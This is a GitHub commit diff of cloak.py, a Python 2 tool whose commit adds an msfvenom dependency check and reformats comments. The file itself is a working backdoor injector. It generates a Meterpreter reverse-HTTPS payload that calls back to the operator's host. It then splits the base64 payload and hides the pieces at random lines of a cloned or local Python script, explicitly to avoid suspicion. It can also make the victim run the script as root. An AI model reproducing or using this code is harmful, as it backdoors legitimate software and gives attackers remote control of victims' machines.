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Merge pull request #1 from kreatemore/master

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Added error message if msfvenom is not installed
This commit is contained in:
Team Ultimate
2017-12-25 14:53:21 +05:30
committed by GitHub
parent 78bd2fab6f 955727d950
commit 217e7a8e7b
1 changed files with 89 additions and 65 deletions
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154
cloak.py
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@@ -1,19 +1,22 @@
#!/usr/bin/env python2
import sys, os, socket, random
import os
import random
import socket
import sys
from re import search
#Colors and shit like that
# Colors and shit like that
white = '\033[1;97m'
green = '\033[1;32m'
red = '\033[1;31m'
end = '\033[1;m'
info = '\033[1;33m[!]\033[1;m'
que = '\033[1;34m[?]\033[1;m'
que = '\033[1;34m[?]\033[1;m'
bad = '\033[1;31m[-]\033[1;m'
good = '\033[1;32m[+]\033[1;m'
run = '\033[1;97m[>]\033[1;m'
#Banner
# Banner
print '''%s
_________ %s__%s __
\%s_%s ___ \| | _________ | | __
@@ -22,22 +25,39 @@ print '''%s
\______ /____/\____(____ /__|_ \\
%s\/%s \/ \/%s\n''' % (white, red, white, red, white, red, white, red, white, red, white, red, white, red, white, end)
#Connecting to google DNS and retrieving IP address of host
# Connecting to google DNS and retrieving IP address of host
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
LHOST = s.getsockname()[0]
s.close()
#Prompting the user for LHOST
def check_external_dependency(command, help=None):
check_command = os.system('command -v %s > /dev/null' % command)
if check_command != 0:
print '%s%s Couldn\'t find %s!' % (bad, red, command)
if help:
print '%s %s' % (info, help)
sys.exit(1)
check_external_dependency(
'msfvenom',
help='See http://bit.ly/2pgJxxj for installation guide'
)
# Prompting the user for LHOST
choice = raw_input('%s %s%s%s : Use this as LHOST? [Y/n] ' % (que, green, LHOST, end)).lower()
if choice == 'n':
LHOST = raw_input('%s Enter LHOST: ' % que)
#Prompting the user for LPORT
# Prompting the user for LPORT
LPORT = '443'
choice = raw_input('%s %s%s%s : Use this as LPORT? [Y/n] ' % (que, green, LPORT, end)).lower()
if choice == 'n':
LPORT = raw_input('%s Enter LPORT: ' % que)
def import_choice():
script = raw_input('%s Enter Github/File path: ' % que)
if 'https://github.com' in script:
@@ -45,94 +65,97 @@ def import_choice():
else:
local(script)
def local(script):
github = False
injector(script)
def github(script):
repo = script
directory = repo.split('/')[4] #Extracts repo name from github URL
cwd = os.path.dirname(os.path.abspath(__file__)) #Finds the path of cloak.py
os.system('git clone %s %s/%s -q' % (repo, cwd, directory)) #clones the repo
os.system('cd %s && ls > temp.txt' % directory) #Navigate to cloned repo and do ls and store its output in temp.txt
python_files = [] #we will store the found python files here
with open('%s/temp.txt' % directory, 'r') as f: #reading tmp.txt
directory = repo.split('/')[4] # Extracts repo name from github URL
cwd = os.path.dirname(os.path.abspath(__file__)) # Finds the path of cloak.py
os.system('git clone %s %s/%s -q' % (repo, cwd, directory)) # clones the repo
os.system('cd %s && ls > temp.txt' % directory) # Navigate to cloned repo and do ls and store its output in temp.txt
python_files = [] # we will store the found python files here
with open('%s/temp.txt' % directory, 'r') as f: # reading tmp.txt
for line in f:
if '.py' in line: #if a file contains .py
python_files.append(line.strip('\n')) #adding the filename to python_files list
if len(python_files) == 0: #if there are 0 python files
if '.py' in line: # if a file contains .py
python_files.append(line.strip('\n')) # adding the filename to python_files list
if len(python_files) == 0: # if there are 0 python files
print '%s No python file found.' % bad
elif len(python_files) > 1: #if there are more than 1 python files
elif len(python_files) > 1: # if there are more than 1 python files
print '%s More than one python scripts found.'
number = 1
for file in python_files:
print '%s. %s' % (number, file) #it will print all files like 1. main.py 2. run.py 3. test.py
print '%s. %s' % (number, file) # it will print all files like 1. main.py 2. run.py 3. test.py
number = number + 1
number = raw_input('%s Select a file to infect: ' % que) #asking the user to select a file to inject
script = python_files[int(number) - 1] #just simple maths to select the chosen file from python_files list
number = raw_input('%s Select a file to infect: ' % que) # asking the user to select a file to inject
script = python_files[int(number) - 1] # just simple maths to select the chosen file from python_files list
elif len(python_files) == 1: #if there's 1 python file
script = python_files[0] #fetching the only element from the python_files list
elif len(python_files) == 1: # if there's 1 python file
script = python_files[0] # fetching the only element from the python_files list
print '%s Payload will be injected in %s%s%s' % (info, green, script, end)
os.system('rm -r %s/%s/temp.txt' % (cwd, directory)) #removes the temp.txt
cwd2 = os.chdir('%s/%s' % (cwd, directory)) #changes the working directory to the repo directory
os.system('rm -r %s/%s/temp.txt' % (cwd, directory)) # removes the temp.txt
cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory
github = True
injector(script)
def injector(script):
method = 'https'
print '%s Generating Payload' % run
os.system("msfvenom -p python/meterpreter/reverse_%s -f raw --platform python -e generic/none -a python %s LPORT=%s > payload.txt" % (method, LHOST, LPORT))
payload = [] #a list containing
with open('payload.txt', 'r+') as f: #opens payload.txt
payload = [] # a list containing
with open('payload.txt', 'r+') as f: # opens payload.txt
for line in f:
payload.append(line.strip('\n')) #adds this line to payload list
f.close() #closes the file
payload = ''.join(payload) #converts payload list into a string
payload = payload.split("'") #converts the payload into a list by splitting it from the character '
base64_string = payload[3] #retireves the third *coughs* the fourth element from the payload list
payload.append(line.strip('\n')) # adds this line to payload list
f.close() # closes the file
payload = ''.join(payload) # converts payload list into a string
payload = payload.split("'") # converts the payload into a list by splitting it from the character '
base64_string = payload[3] # retrieves the third *coughs* the fourth element from the payload list
print '%s Injecting into %s%s%s' % (run, green, script, end)
injectable_lines = [] #Lines where payload pieces can be inserted safely
imports = [] #lines that are being used to import libraries. Perfect for inserting 'import base64, sys'
script_list = [] #list that contains all the lines of target script
number = 0 #just a variable that we will be using later
with open(script, 'r') as f: #opens the target script
injectable_lines = [] # Lines where payload pieces can be inserted safely
imports = [] # lines that are being used to import libraries. Perfect for inserting 'import base64, sys'
script_list = [] # list that contains all the lines of target script
number = 0 # just a variable that we will be using later
with open(script, 'r') as f: # opens the target script
for line in f:
script_list.append(line.strip('\n')) #adds current line to the script_list
match = search(r'^[a-zA-Z0-9]', line) #checks if the first character is an alphabet or digit
script_list.append(line.strip('\n')) # adds current line to the script_list
match = search(r'^[a-zA-Z0-9]', line) # checks if the first character is an alphabet or digit
match2 = search(r'^[\t]', line)
if match and not line.startswith('except') and not line.startswith('else') and not match2:
injectable_lines.append(number - 1) #add the line to injectable_lines list
if line.startswith('from') or line.startswith('import'): #if the line starts with from or import
imports.append(number) #add that line to imports list
else: #If the line doesn't start with tab, space, import, from
injectable_lines.append(number - 1) # add the line to injectable_lines list
if line.startswith('from') or line.startswith('import'): # if the line starts with from or import
imports.append(number) # add that line to imports list
else: # If the line doesn't start with tab, space, import, from
pass
number = number + 1 #increase the value of number by 1
f.close() #close the file
if 'import base64, sys' in script_list: #searches for 'import base64. sys' in script_list
number = number + 1 # increase the value of number by 1
f.close() # close the file
if 'import base64, sys' in script_list: # searches for 'import base64. sys' in script_list
print '%s Seems like this file has been already injected by Cloak.' % bad
if github == True:
if github:
choice = raw_input('%s Would you like to download a fresh copy? [Y/n]' % que).lower()
if choice == 'n':
pass
else:
os.chdir('%s' % cwd) #changes the working directory to the cloak.py directory
os.system('rm -r %s' % directory) #removes the older copy of downloaded repo
os.system('git clone %s %s/%s -q' % (repo, cwd, directory)) #clones the repo
cwd2 = os.chdir('%s/%s' % (cwd, directory)) #changes the working directory to the repo directory
injector() #Calls the injector() function
os.chdir('%s' % cwd) # changes the working directory to the cloak.py directory
os.system('rm -r %s' % directory) # removes the older copy of downloaded repo
os.system('git clone %s %s/%s -q' % (repo, cwd, directory)) # clones the repo
cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory
injector() # Calls the injector() function
else:
print '%s Please use a fresh file for injection.' % info
quit()
while True: #its an infinite loop unless its broken manually
#We can't insert all the pieces of payload in one place as it may raise suspicion so we will
#randomly select positions for those positions. random.choice(list) retrieve a random element from list
while True: # its an infinite loop unless its broken manually
# We can't insert all the pieces of payload in one place as it may raise suspicion so we will
# randomly select positions for those positions. random.choice(list) retrieve a random element from list
position_a, position_b = random.choice(injectable_lines), random.choice(injectable_lines)
position_c, position_d = random.choice(injectable_lines), random.choice(injectable_lines)
#lets make sure the positions of the pieces of payload are in a particular order otherwise it will raise error
if position_a < position_b and position_b < position_c and position_c < position_d:
if position_a < position_b < position_c < position_d:
script_list.insert(position_a + 1, 'var1 = \'\'\'%s\'\'\'' % base64_string[:len(base64_string)/2]) #[:len(string)/2] will give the first half of a string
script_list.insert(position_b + 2, 'var2 = \'\'\'%s\'\'\'' % base64_string[len(base64_string)/2:]) #and insert.list() is used to insert a element in list
script_list.insert(position_c + 3, 'vars = var1 + var2')
@@ -140,7 +163,7 @@ def injector(script):
root = raw_input('%s Ask victim to run injected script as root? [y/N] ' % que).lower()
if root == 'y':
root = True
if len(imports) < 1: #if there are no imports in the script
if len(imports) < 1: # if there are no imports in the script
if root:
script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tsys.exit()\n\telse:\n\t\tpass' % script)
else:
@@ -150,14 +173,15 @@ def injector(script):
script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tsys.exit()\n\telse:\n\t\tpass' % script)
else:
script_list.insert(random.choice(imports), 'import base64, sys')
break #breaks the loop as the payload has been injected
else: #if the randomly selected variables are not in ascending order
break # breaks the loop as the payload has been injected
else: # if the randomly selected variables are not in ascending order
pass
with open(script, 'r+') as f: #opens the target script
with open(script, 'r+') as f: # opens the target script
for line in script_list:
f.write(line + '\n') #writes a line to the target script
f.close() #closes the file
os.system('rm payload.txt') #removes payload.txt
f.write(line + '\n') # writes a line to the target script
f.close() # closes the file
os.system('rm payload.txt') # removes payload.txt
print '%s %s%s%s was successfully injected' % (good, green, script, end)
import_choice()
import_choice()